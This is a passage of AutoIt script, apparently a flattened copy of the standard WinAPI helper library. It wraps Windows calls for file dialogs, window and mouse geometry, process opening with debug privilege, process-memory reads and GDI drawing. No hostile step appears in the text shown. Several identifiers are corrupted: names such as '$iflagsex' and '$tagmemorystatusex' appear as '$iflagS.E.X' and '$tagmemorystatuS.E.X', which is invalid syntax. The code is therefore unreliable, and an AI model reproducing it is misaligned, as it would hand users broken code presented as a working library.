Local $aresult = DllCall("kernel32.dll", "bool", "GetFileSizeEx", "handle", $hfile, "int64*", 0)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[2]
EndFunc
Func _winapi_getlasterrormessage()
Local $tbufferptr = DllStructCreate("ptr")
Local $ncount = _winapi_formatmessage(BitOR($__winapiconstant_format_message_allocate_buffer, $__winapiconstant_format_message_from_system), 0, _winapi_getlasterror(), 0, $tbufferptr, 0, 0)
If @error Then Return SetError(@error, 0, "")
Local $stext = ""
Local $pbuffer = DllStructGetData($tbufferptr, 1)
If $pbuffer Then
If $ncount > 0 Then
Local $tbuffer = DllStructCreate("wchar[" & ($ncount + 1) & "]", $pbuffer)
$stext = DllStructGetData($tbuffer, 1)
EndIf
_winapi_localfree($pbuffer)
EndIf
Return $stext
EndFunc
Func _winapi_getlayeredwindowattributes($hwnd, ByRef $i_transcolor, ByRef $transparency, $ascolorref = False)
$i_transcolor = -1
$transparency = -1
Local $aresult = DllCall("user32.dll", "bool", "GetLayeredWindowAttributes", "hwnd", $hwnd, "dword*", $i_transcolor, "byte*", $transparency, "dword*", 0)
If @error Then Return SetError(@error, @extended, 0)
If NOT $ascolorref Then
$aresult[2] = Int(BinaryMid($aresult[2], 3, 1) & BinaryMid($aresult[2], 2, 1) & BinaryMid($aresult[2], 1, 1))
EndIf
$i_transcolor = $aresult[2]
$transparency = $aresult[3]
Return $aresult[4]
EndFunc
Func _winapi_getmodulehandle($smodulename)
Local $smodulenametype = "wstr"
If $smodulename = "" Then
$smodulename = 0
$smodulenametype = "ptr"
EndIf
Local $aresult = DllCall("kernel32.dll", "handle", "GetModuleHandleW", $smodulenametype, $smodulename)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_getmousepos($ftoclient = False, $hwnd = 0)
Local $imode = Opt("MouseCoordMode", 1)
Local $apos = MouseGetPos()
Opt("MouseCoordMode", $imode)
Local $tpoint = DllStructCreate($tagpoint)
DllStructSetData($tpoint, "X", $apos[0])
DllStructSetData($tpoint, "Y", $apos[1])
If $ftoclient Then
_winapi_screentoclient($hwnd, $tpoint)
If @error Then Return SetError(@error, @extended, 0)
EndIf
Return $tpoint
EndFunc
Func _winapi_getmouseposx($ftoclient = False, $hwnd = 0)
Local $tpoint = _winapi_getmousepos($ftoclient, $hwnd)
If @error Then Return SetError(@error, @extended, 0)
Return DllStructGetData($tpoint, "X")
EndFunc
Func _winapi_getmouseposy($ftoclient = False, $hwnd = 0)
Local $tpoint = _winapi_getmousepos($ftoclient, $hwnd)
If @error Then Return SetError(@error, @extended, 0)
Return DllStructGetData($tpoint, "Y")
EndFunc
Func _winapi_getobject($hobject, $isize, $pobject)
Local $aresult = DllCall("gdi32.dll", "int", "GetObjectW", "handle", $hobject, "int", $isize, "ptr", $pobject)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_getopenfilename($stitle = "", $sfilter = "All files (*.*)", $sinitaldir = ".", $sdefaultfile = "", $sdefaultext = "", $ifilterindex = 1, $iflags = 0, $iflagS.E.X = 0, $hwndowner = 0)
Local $ipathlen = 4096
Local $inulls = 0
Local $tofn = DllStructCreate($tagopenfilename)
Local $afiles[1] = [0]
Local $iflag = $iflags
Local $asflines = StringSplit($sfilter, "|")
Local $asfilter[$asflines[0] * 2 + 1]
Local $istart, $ifinal, $stfilter
$asfilter[0] = $asflines[0] * 2
For $i = 1 To $asflines[0]
$istart = StringInStr($asflines[$i], "(", 0, 1)
$ifinal = StringInStr($asflines[$i], ")", 0, -1)
$asfilter[$i * 2 - 1] = StringStripWS(StringLeft($asflines[$i], $istart - 1), 3)
$asfilter[$i * 2] = StringStripWS(StringTrimRight(StringTrimLeft($asflines[$i], $istart), StringLen($asflines[$i]) - $ifinal + 1), 3)
$stfilter &= "wchar[" & StringLen($asfilter[$i * 2 - 1]) + 1 & "];wchar[" & StringLen($asfilter[$i * 2]) + 1 & "];"
Next
Local $ttitle = DllStructCreate("wchar Title[" & StringLen($stitle) + 1 & "]")
Local $tinitialdir = DllStructCreate("wchar InitDir[" & StringLen($sinitaldir) + 1 & "]")
Local $tfilter = DllStructCreate($stfilter & "wchar")
Local $tpath = DllStructCreate("wchar Path[" & $ipathlen & "]")
Local $textn = DllStructCreate("wchar Extension[" & StringLen($sdefaultext) + 1 & "]")
For $i = 1 To $asfilter[0]
DllStructSetData($tfilter, $i, $asfilter[$i])
Next
DllStructSetData($ttitle, "Title", $stitle)
DllStructSetData($tinitialdir, "InitDir", $sinitaldir)
DllStructSetData($tpath, "Path", $sdefaultfile)
DllStructSetData($textn, "Extension", $sdefaultext)
DllStructSetData($tofn, "StructSize", DllStructGetSize($tofn))
DllStructSetData($tofn, "hwndOwner", $hwndowner)
DllStructSetData($tofn, "lpstrFilter", DllStructGetPtr($tfilter))
DllStructSetData($tofn, "nFilterIndex", $ifilterindex)
DllStructSetData($tofn, "lpstrFile", DllStructGetPtr($tpath))
DllStructSetData($tofn, "nMaxFile", $ipathlen)
DllStructSetData($tofn, "lpstrInitialDir", DllStructGetPtr($tinitialdir))
DllStructSetData($tofn, "lpstrTitle", DllStructGetPtr($ttitle))
DllStructSetData($tofn, "Flags", $iflag)
DllStructSetData($tofn, "lpstrDefExt", DllStructGetPtr($textn))
DllStructSetData($tofn, "FlagsEx", $iflagS.E.X)
DllCall("comdlg32.dll", "bool", "GetOpenFileNameW", "struct*", $tofn)
If @error Then Return SetError(@error, @extended, $afiles)
If BitAND($iflags, $ofn_allowmultiselect) = $ofn_allowmultiselect AND BitAND($iflags, $ofn_explorer) = $ofn_explorer Then
For $x = 1 To $ipathlen
If DllStructGetData($tpath, "Path", $x) = Chr(0) Then
DllStructSetData($tpath, "Path", "|", $x)
$inulls += 1
Else
$inulls = 0
EndIf
If $inulls = 2 Then ExitLoop
Next
DllStructSetData($tpath, "Path", Chr(0), $x - 1)
$afiles = StringSplit(DllStructGetData($tpath, "Path"), "|")
If $afiles[0] = 1 Then Return __winapi_parsefiledialogpath(DllStructGetData($tpath, "Path"))
Return StringSplit(DllStructGetData($tpath, "Path"), "|")
ElseIf BitAND($iflags, $ofn_allowmultiselect) = $ofn_allowmultiselect Then
$afiles = StringSplit(DllStructGetData($tpath, "Path"), " ")
If $afiles[0] = 1 Then Return __winapi_parsefiledialogpath(DllStructGetData($tpath, "Path"))
Return StringSplit(StringReplace(DllStructGetData($tpath, "Path"), " ", "|"), "|")
Else
Return __winapi_parsefiledialogpath(DllStructGetData($tpath, "Path"))
EndIf
EndFunc
Func _winapi_getoverlappedresult($hfile, $poverlapped, ByRef $ibytes, $fwait = False)
Local $aresult = DllCall("kernel32.dll", "bool", "GetOverlappedResult", "handle", $hfile, "ptr", $poverlapped, "dword*", 0, "bool", $fwait)
If @error Then Return SetError(@error, @extended, False)
$ibytes = $aresult[3]
Return $aresult[0]
EndFunc
Func _winapi_getparent($hwnd)
Local $aresult = DllCall("user32.dll", "hwnd", "GetParent", "hwnd", $hwnd)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_getprocessaffinitymask($hprocess)
Local $aresult = DllCall("kernel32.dll", "bool", "GetProcessAffinityMask", "handle", $hprocess, "dword_ptr*", 0, "dword_ptr*", 0)
If @error Then Return SetError(@error, @extended, 0)
Local $amask[3]
$amask[0] = True
$amask[1] = $aresult[2]
$amask[2] = $aresult[3]
Return $amask
EndFunc
Func _winapi_getsavefilename($stitle = "", $sfilter = "All files (*.*)", $sinitaldir = ".", $sdefaultfile = "", $sdefaultext = "", $ifilterindex = 1, $iflags = 0, $iflagS.E.X = 0, $hwndowner = 0)
Local $ipathlen = 4096
Local $tofn = DllStructCreate($tagopenfilename)
Local $afiles[1] = [0]
Local $iflag = $iflags
Local $asflines = StringSplit($sfilter, "|")
Local $asfilter[$asflines[0] * 2 + 1]
Local $istart, $ifinal, $stfilter
$asfilter[0] = $asflines[0] * 2
For $i = 1 To $asflines[0]
$istart = StringInStr($asflines[$i], "(", 0, 1)
$ifinal = StringInStr($asflines[$i], ")", 0, -1)
$asfilter[$i * 2 - 1] = StringStripWS(StringLeft($asflines[$i], $istart - 1), 3)
$asfilter[$i * 2] = StringStripWS(StringTrimRight(StringTrimLeft($asflines[$i], $istart), StringLen($asflines[$i]) - $ifinal + 1), 3)
$stfilter &= "wchar[" & StringLen($asfilter[$i * 2 - 1]) + 1 & "];wchar[" & StringLen($asfilter[$i * 2]) + 1 & "];"
Next
Local $ttitle = DllStructCreate("wchar Title[" & StringLen($stitle) + 1 & "]")
Local $tinitialdir = DllStructCreate("wchar InitDir[" & StringLen($sinitaldir) + 1 & "]")
Local $tfilter = DllStructCreate($stfilter & "wchar")
Local $tpath = DllStructCreate("wchar Path[" & $ipathlen & "]")
Local $textn = DllStructCreate("wchar Extension[" & StringLen($sdefaultext) + 1 & "]")
For $i = 1 To $asfilter[0]
DllStructSetData($tfilter, $i, $asfilter[$i])
Next
DllStructSetData($ttitle, "Title", $stitle)
DllStructSetData($tinitialdir, "InitDir", $sinitaldir)
DllStructSetData($tpath, "Path", $sdefaultfile)
DllStructSetData($textn, "Extension", $sdefaultext)
DllStructSetData($tofn, "StructSize", DllStructGetSize($tofn))
DllStructSetData($tofn, "hwndOwner", $hwndowner)
DllStructSetData($tofn, "lpstrFilter", DllStructGetPtr($tfilter))
DllStructSetData($tofn, "nFilterIndex", $ifilterindex)
DllStructSetData($tofn, "lpstrFile", DllStructGetPtr($tpath))
DllStructSetData($tofn, "nMaxFile", $ipathlen)
DllStructSetData($tofn, "lpstrInitialDir", DllStructGetPtr($tinitialdir))
DllStructSetData($tofn, "lpstrTitle", DllStructGetPtr($ttitle))
DllStructSetData($tofn, "Flags", $iflag)
DllStructSetData($tofn, "lpstrDefExt", DllStructGetPtr($textn))
DllStructSetData($tofn, "FlagsEx", $iflagS.E.X)
DllCall("comdlg32.dll", "bool", "GetSaveFileNameW", "struct*", $tofn)
If @error Then Return SetError(@error, @extended, $afiles)
Return __winapi_parsefiledialogpath(DllStructGetData($tpath, "Path"))
EndFunc
Func _winapi_getstockobject($iobject)
Local $aresult = DllCall("gdi32.dll", "handle", "GetStockObject", "int", $iobject)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_getstdhandle($istdhandle)
If $istdhandle < 0 OR $istdhandle > 2 Then Return SetError(2, 0, -1)
Local Const $ahandle[3] = [-10, -11, -12]
Local $aresult = DllCall("kernel32.dll", "handle", "GetStdHandle", "dword", $ahandle[$istdhandle])
If @error Then Return SetError(@error, @extended, -1)
Return $aresult[0]
EndFunc
Func _winapi_getsyscolor($iindex)
Local $aresult = DllCall("user32.dll", "dword", "GetSysColor", "int", $iindex)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_getsyscolorbrush($iindex)
Local $aresult = DllCall("user32.dll", "handle", "GetSysColorBrush", "int", $iindex)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_getsystemmetrics($iindex)
Local $aresult = DllCall("user32.dll", "int", "GetSystemMetrics", "int", $iindex)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_gettextextentpoint32($hdc, $stext)
Local $tsize = DllStructCreate($tagsize)
Local $isize = StringLen($stext)
DllCall("gdi32.dll", "bool", "GetTextExtentPoint32W", "handle", $hdc, "wstr", $stext, "int", $isize, "struct*", $tsize)
If @error Then Return SetError(@error, @extended, 0)
Return $tsize
EndFunc
Func _winapi_gettextmetrics($hdc)
Local $ttextmetric = DllStructCreate($tagtextmetric)
Local $ret = DllCall("gdi32.dll", "bool", "GetTextMetricsW", "handle", $hdc, "struct*", $ttextmetric)
If @error Then Return SetError(@error, @extended, 0)
If NOT $ret[0] Then Return SetError(-1, 0, 0)
Return $ttextmetric
EndFunc
Func _winapi_getwindow($hwnd, $icmd)
Local $aresult = DllCall("user32.dll", "hwnd", "GetWindow", "hwnd", $hwnd, "uint", $icmd)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_getwindowdc($hwnd)
Local $aresult = DllCall("user32.dll", "handle", "GetWindowDC", "hwnd", $hwnd)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_getwindowheight($hwnd)
Local $trect = _winapi_getwindowrect($hwnd)
If @error Then Return SetError(@error, @extended, 0)
Return DllStructGetData($trect, "Bottom") - DllStructGetData($trect, "Top")
EndFunc
Func _winapi_getwindowlong($hwnd, $iindex)
Local $sfuncname = "GetWindowLongW"
If @AutoItX64 Then $sfuncname = "GetWindowLongPtrW"
Local $aresult = DllCall("user32.dll", "long_ptr", $sfuncname, "hwnd", $hwnd, "int", $iindex)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_getwindowplacement($hwnd)
Local $twindowplacement = DllStructCreate($tagwindowplacement)
DllStructSetData($twindowplacement, "length", DllStructGetSize($twindowplacement))
DllCall("user32.dll", "bool", "GetWindowPlacement", "hwnd", $hwnd, "struct*", $twindowplacement)
If @error Then Return SetError(@error, @extended, 0)
Return $twindowplacement
EndFunc
Func _winapi_getwindowrect($hwnd)
Local $trect = DllStructCreate($tagrect)
DllCall("user32.dll", "bool", "GetWindowRect", "hwnd", $hwnd, "struct*", $trect)
If @error Then Return SetError(@error, @extended, 0)
Return $trect
EndFunc
Func _winapi_getwindowrgn($hwnd, $hrgn)
Local $aresult = DllCall("user32.dll", "int", "GetWindowRgn", "hwnd", $hwnd, "handle", $hrgn)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_getwindowtext($hwnd)
Local $aresult = DllCall("user32.dll", "int", "GetWindowTextW", "hwnd", $hwnd, "wstr", "", "int", 4096)
If @error Then Return SetError(@error, @extended, "")
Return SetExtended($aresult[0], $aresult[2])
EndFunc
Func _winapi_getwindowthreadprocessid($hwnd, ByRef $ipid)
Local $aresult = DllCall("user32.dll", "dword", "GetWindowThreadProcessId", "hwnd", $hwnd, "dword*", 0)
If @error Then Return SetError(@error, @extended, 0)
$ipid = $aresult[2]
Return $aresult[0]
EndFunc
Func _winapi_getwindowwidth($hwnd)
Local $trect = _winapi_getwindowrect($hwnd)
If @error Then Return SetError(@error, @extended, 0)
Return DllStructGetData($trect, "Right") - DllStructGetData($trect, "Left")
EndFunc
Func _winapi_getxyfrompoint(ByRef $tpoint, ByRef $ix, ByRef $iy)
$ix = DllStructGetData($tpoint, "X")
$iy = DllStructGetData($tpoint, "Y")
EndFunc
Func _winapi_globalmemorystatus()
Local $tmem = DllStructCreate($tagmemorystatuS.E.X)
Local $imem = DllStructGetSize($tmem)
DllStructSetData($tmem, 1, $imem)
DllCall("kernel32.dll", "none", "GlobalMemoryStatusEx", "ptr", $tmem)
If @error Then Return SetError(@error, @extended, 0)
Local $amem[7]
$amem[0] = DllStructGetData($tmem, 2)
$amem[1] = DllStructGetData($tmem, 3)
$amem[2] = DllStructGetData($tmem, 4)
$amem[3] = DllStructGetData($tmem, 5)
$amem[4] = DllStructGetData($tmem, 6)
$amem[5] = DllStructGetData($tmem, 7)
$amem[6] = DllStructGetData($tmem, 8)
Return $amem
EndFunc
Func _winapi_guidfromstring($sguid)
Local $tguid = DllStructCreate($tagguid)
_winapi_guidfromstringex($sguid, $tguid)
If @error Then Return SetError(@error, @extended, 0)
Return $tguid
EndFunc
Func _winapi_guidfromstringex($sguid, $pguid)
Local $aresult = DllCall("ole32.dll", "long", "CLSIDFromString", "wstr", $sguid, "struct*", $pguid)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_hiword($ilong)
Return BitShift($ilong, 16)
EndFunc
Func _winapi_inprocess($hwnd, ByRef $hlastwnd)
If $hwnd = $hlastwnd Then Return True
For $ii = $__gainprocess_winapi[0][0] To 1 Step -1
If $hwnd = $__gainprocess_winapi[$ii][0] Then
If $__gainprocess_winapi[$ii][1] Then
$hlastwnd = $hwnd
Return True
Else
Return False
EndIf
EndIf
Next
Local $iprocessid
_winapi_getwindowthreadprocessid($hwnd, $iprocessid)
Local $icount = $__gainprocess_winapi[0][0] + 1
If $icount >= 64 Then $icount = 1
$__gainprocess_winapi[0][0] = $icount
$__gainprocess_winapi[$icount][0] = $hwnd
$__gainprocess_winapi[$icount][1] = ($iprocessid = @AutoItPID)
Return $__gainprocess_winapi[$icount][1]
EndFunc
Func _winapi_inttofloat($iint)
Local $tint = DllStructCreate("int")
Local $tfloat = DllStructCreate("float", DllStructGetPtr($tint))
DllStructSetData($tint, 1, $iint)
Return DllStructGetData($tfloat, 1)
EndFunc
Func _winapi_isclassname($hwnd, $sclassname)
Local $sseparator = Opt("GUIDataSeparatorChar")
Local $aclassname = StringSplit($sclassname, $sseparator)
If NOT IsHWnd($hwnd) Then $hwnd = GUICtrlGetHandle($hwnd)
Local $sclasscheck = _winapi_getclassname($hwnd)
For $x = 1 To UBound($aclassname) - 1
If StringUpper(StringMid($sclasscheck, 1, StringLen($aclassname[$x]))) = StringUpper($aclassname[$x]) Then Return True
Next
Return False
EndFunc
Func _winapi_iswindow($hwnd)
Local $aresult = DllCall("user32.dll", "bool", "IsWindow", "hwnd", $hwnd)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_iswindowvisible($hwnd)
Local $aresult = DllCall("user32.dll", "bool", "IsWindowVisible", "hwnd", $hwnd)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_invalidaterect($hwnd, $trect = 0, $ferase = True)
Local $aresult = DllCall("user32.dll", "bool", "InvalidateRect", "hwnd", $hwnd, "struct*", $trect, "bool", $ferase)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_lineto($hdc, $ix, $iy)
Local $aresult = DllCall("gdi32.dll", "bool", "LineTo", "handle", $hdc, "int", $ix, "int", $iy)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_loadbitmap($hinstance, $sbitmap)
Local $sbitmaptype = "int"
If IsString($sbitmap) Then $sbitmaptype = "wstr"
Local $aresult = DllCall("user32.dll", "handle", "LoadBitmapW", "handle", $hinstance, $sbitmaptype, $sbitmap)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_loadimage($hinstance, $simage, $itype, $ixdesired, $iydesired, $iload)
Local $aresult, $simagetype = "int"
If IsString($simage) Then $simagetype = "wstr"
$aresult = DllCall("user32.dll", "handle", "LoadImageW", "handle", $hinstance, $simagetype, $simage, "uint", $itype, "int", $ixdesired, "int", $iydesired, "uint", $iload)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_loadlibrary($sfilename)
Local $aresult = DllCall("kernel32.dll", "handle", "LoadLibraryW", "wstr", $sfilename)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_loadlibraryex($sfilename, $iflags = 0)
Local $aresult = DllCall("kernel32.dll", "handle", "LoadLibraryExW", "wstr", $sfilename, "ptr", 0, "dword", $iflags)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_loadshell32icon($iiconid)
Local $ticons = DllStructCreate("ptr Data")
Local $iicons = _winapi_extracticonex("shell32.dll", $iiconid, 0, $ticons, 1)
If @error Then Return SetError(@error, @extended, 0)
If $iicons <= 0 Then Return SetError(1, 0, 0)
Return DllStructGetData($ticons, "Data")
EndFunc
Func _winapi_loadstring($hinstance, $istringid)
Local $aresult = DllCall("user32.dll", "int", "LoadStringW", "handle", $hinstance, "uint", $istringid, "wstr", "", "int", 4096)
If @error Then Return SetError(@error, @extended, "")
Return SetExtended($aresult[0], $aresult[3])
EndFunc
Func _winapi_localfree($hmem)
Local $aresult = DllCall("kernel32.dll", "handle", "LocalFree", "handle", $hmem)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_loword($ilong)
Return BitAND($ilong, 65535)
EndFunc
Func _winapi_makelangid($lgidprimary, $lgidsub)
Return BitOR(BitShift($lgidsub, -10), $lgidprimary)
EndFunc
Func _winapi_makelcid($lgid, $srtid)
Return BitOR(BitShift($srtid, -16), $lgid)
EndFunc
Func _winapi_makelong($ilo, $ihi)
Return BitOR(BitShift($ihi, -16), BitAND($ilo, 65535))
EndFunc
Func _winapi_makeqword($lodword, $hidword)
Local $tint64 = DllStructCreate("uint64")
Local $tdwords = DllStructCreate("dword;dword", DllStructGetPtr($tint64))
DllStructSetData($tdwords, 1, $lodword)
DllStructSetData($tdwords, 2, $hidword)
Return DllStructGetData($tint64, 1)
EndFunc
Func _winapi_messagebeep($itype = 1)
Local $isound
Switch $itype
Case 1
$isound = 0
Case 2
$isound = 16
Case 3
$isound = 32
Case 4
$isound = 48
Case 5
$isound = 64
Case Else
$isound = -1
EndSwitch
Local $aresult = DllCall("user32.dll", "bool", "MessageBeep", "uint", $isound)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_msgbox($iflags, $stitle, $stext)
BlockInput(0)
MsgBox($iflags, $stitle, $stext & "      ")
EndFunc
Func _winapi_mouse_event($iflags, $ix = 0, $iy = 0, $idata = 0, $iextrainfo = 0)
DllCall("user32.dll", "none", "mouse_event", "dword", $iflags, "dword", $ix, "dword", $iy, "dword", $idata, "ulong_ptr", $iextrainfo)
If @error Then Return SetError(@error, @extended)
EndFunc
Func _winapi_moveto($hdc, $ix, $iy)
Local $aresult = DllCall("gdi32.dll", "bool", "MoveToEx", "handle", $hdc, "int", $ix, "int", $iy, "ptr", 0)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_movewindow($hwnd, $ix, $iy, $iwidth, $iheight, $frepaint = True)
Local $aresult = DllCall("user32.dll", "bool", "MoveWindow", "hwnd", $hwnd, "int", $ix, "int", $iy, "int", $iwidth, "int", $iheight, "bool", $frepaint)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_muldiv($inumber, $inumerator, $idenominator)
Local $aresult = DllCall("kernel32.dll", "int", "MulDiv", "int", $inumber, "int", $inumerator, "int", $idenominator)
If @error Then Return SetError(@error, @extended, -1)
Return $aresult[0]
EndFunc
Func _winapi_multibytetowidechar($stext, $icodepage = 0, $iflags = 0, $bretstring = False)
Local $stexttype = "str"
If NOT IsString($stext) Then $stexttype = "struct*"
Local $aresult = DllCall("kernel32.dll", "int", "MultiByteToWideChar", "uint", $icodepage, "dword", $iflags, $stexttype, $stext, "int", -1, "ptr", 0, "int", 0)
If @error Then Return SetError(@error, @extended, 0)
Local $iout = $aresult[0]
Local $tout = DllStructCreate("wchar[" & $iout & "]")
$aresult = DllCall("kernel32.dll", "int", "MultiByteToWideChar", "uint", $icodepage, "dword", $iflags, $stexttype, $stext, "int", -1, "struct*", $tout, "int", $iout)
If @error Then Return SetError(@error, @extended, 0)
If $bretstring Then Return DllStructGetData($tout, 1)
Return $tout
EndFunc
Func _winapi_multibytetowidecharex($stext, $ptext, $icodepage = 0, $iflags = 0)
Local $aresult = DllCall("kernel32.dll", "int", "MultiByteToWideChar", "uint", $icodepage, "dword", $iflags, "STR", $stext, "int", -1, "struct*", $ptext, "int", (StringLen($stext) + 1) * 2)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_openprocess($iaccess, $finherit, $iprocessid, $fdebugpriv = False)
Local $aresult = DllCall("kernel32.dll", "handle", "OpenProcess", "dword", $iaccess, "bool", $finherit, "dword", $iprocessid)
If @error Then Return SetError(@error, @extended, 0)
If $aresult[0] Then Return $aresult[0]
If NOT $fdebugpriv Then Return 0
Local $htoken = _security__openthreadtokenex(BitOR($token_adjust_privileges, $token_query))
If @error Then Return SetError(@error, @extended, 0)
_security__setprivilege($htoken, "SeDebugPrivilege", True)
Local $ierror = @error
Local $ilasterror = @extended
Local $iret = 0
If NOT @error Then
$aresult = DllCall("kernel32.dll", "handle", "OpenProcess", "dword", $iaccess, "bool", $finherit, "dword", $iprocessid)
$ierror = @error
$ilasterror = @extended
If $aresult[0] Then $iret = $aresult[0]
_security__setprivilege($htoken, "SeDebugPrivilege", False)
If @error Then
$ierror = @error
$ilasterror = @extended
EndIf
EndIf
_winapi_closehandle($htoken)
Return SetError($ierror, $ilasterror, $iret)
EndFunc
Func __winapi_parsefiledialogpath($spath)
Local $afiles[3]
$afiles[0] = 2
Local $stemp = StringMid($spath, 1, StringInStr($spath, "\", 0, -1) - 1)
$afiles[1] = $stemp
$afiles[2] = StringMid($spath, StringInStr($spath, "\", 0, -1) + 1)
Return $afiles
EndFunc
Func _winapi_pathfindonpath(Const $szfile, $aextrapaths = "", Const $szpathdelimiter = @LF)
Local $iextracount = 0
If IsString($aextrapaths) Then
If StringLen($aextrapaths) Then
$aextrapaths = StringSplit($aextrapaths, $szpathdelimiter, 1 + 2)
$iextracount = UBound($aextrapaths, 1)
EndIf
ElseIf IsArray($aextrapaths) Then
$iextracount = UBound($aextrapaths)
EndIf
Local $tpaths, $tpathptrs
If $iextracount Then
Local $szstruct = ""
For $path In $aextrapaths
$szstruct &= "wchar[" & StringLen($path) + 1 & "];"
Next
$tpaths = DllStructCreate($szstruct)
$tpathptrs = DllStructCreate("ptr[" & $iextracount + 1 & "]")
For $i = 1 To $iextracount
DllStructSetData($tpaths, $i, $aextrapaths[$i - 1])
DllStructSetData($tpathptrs, 1, DllStructGetPtr($tpaths, $i), $i)
Next
DllStructSetData($tpathptrs, 1, Ptr(0), $iextracount + 1)
EndIf
Local $aresult = DllCall("shlwapi.dll", "bool", "PathFindOnPathW", "wstr", $szfile, "struct*", $tpathptrs)
If @error Then Return SetError(@error, @extended, False)
If $aresult[0] = 0 Then Return SetError(1, 0, $szfile)
Return $aresult[1]
EndFunc
Func _winapi_pointfromrect(ByRef $trect, $fcenter = True)
Local $ix1 = DllStructGetData($trect, "Left")
Local $iy1 = DllStructGetData($trect, "Top")
Local $ix2 = DllStructGetData($trect, "Right")
Local $iy2 = DllStructGetData($trect, "Bottom")
If $fcenter Then
$ix1 = $ix1 + (($ix2 - $ix1) / 2)
$iy1 = $iy1 + (($iy2 - $iy1) / 2)
EndIf
Local $tpoint = DllStructCreate($tagpoint)
DllStructSetData($tpoint, "X", $ix1)
DllStructSetData($tpoint, "Y", $iy1)
Return $tpoint
EndFunc
Func _winapi_postmessage($hwnd, $imsg, $iwparam, $ilparam)
Local $aresult = DllCall("user32.dll", "bool", "PostMessage", "hwnd", $hwnd, "uint", $imsg, "wparam", $iwparam, "lparam", $ilparam)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_primarylangid($lgid)
Return BitAND($lgid, 1023)
EndFunc
Func _winapi_ptinrect(ByRef $trect, ByRef $tpoint)
Local $aresult = DllCall("user32.dll", "bool", "PtInRect", "struct*", $trect, "struct", $tpoint)
If @error Then Return SetError(1, @extended, False)
Return NOT ($aresult[0] = 0)
EndFunc
Func _winapi_readfile($hfile, $pbuffer, $itoread, ByRef $iread, $poverlapped = 0)
Local $aresult = DllCall("kernel32.dll", "bool", "ReadFile", "handle", $hfile, "ptr", $pbuffer, "dword", $itoread, "dword*", 0, "ptr", $poverlapped)
If @error Then Return SetError(@error, @extended, False)
$iread = $aresult[4]
Return $aresult[0]
EndFunc
Func _winapi_readprocessmemory($hprocess, $pbaseaddress, $pbuffer, $isize, ByRef $iread)
Local $aresult = DllCall("kernel32.dll", "bool", "ReadProcessMemory", "handle", $hprocess, "ptr", $pbaseaddress, "ptr", $pbuffer, "ulong_ptr", $isize, "ulong_ptr*", 0)
If @error Then Return SetError(@error, @extended, False)
$iread = $aresult[5]
Return $aresult[0]
EndFunc
Func _winapi_rectisempty(ByRef $trect)
Return (DllStructGetData($trect, "Left") = 0) AND (DllStructGetData($trect, "Top") = 0) AND (DllStructGetData($trect, "Right") = 0) AND (DllStructGetData($trect, "Bottom") = 0)
EndFunc
Func _winapi_redrawwindow($hwnd, $trect = 0, $hregion = 0, $iflags = 5)
Local $aresult = DllCall("user32.dll", "bool", "RedrawWindow", "hwnd", $hwnd, "struct*", $trect, "handle", $hregion, "uint", $iflags)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_registerwindowmessage($smessage)
Local $aresult = DllCall("user32.dll", "uint", "RegisterWindowMessageW", "wstr", $smessage)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_releasecapture()
Local $aresult = DllCall("user32.dll", "bool", "ReleaseCapture")
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_releasedc($hwnd, $hdc)
Local $aresult = DllCall("user32.dll", "int", "ReleaseDC", "hwnd", $hwnd, "handle", $hdc)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_screentoclient($hwnd, ByRef $tpoint)
Local $aresult = DllCall("user32.dll", "bool", "ScreenToClient", "hwnd", $hwnd, "struct*", $tpoint)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_selectobject($hdc, $hgdiobj)
Local $aresult = DllCall("gdi32.dll", "handle", "SelectObject", "handle", $hdc, "handle", $hgdiobj)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_setbkcolor($hdc, $icolor)
Local $aresult = DllCall("gdi32.dll", "INT", "SetBkColor", "handle", $hdc, "dword", $icolor)
If @error Then Return SetError(@error, @extended, -1)
Return $aresult[0]
EndFunc
Func _winapi_setbkmode($hdc, $ibkmode)
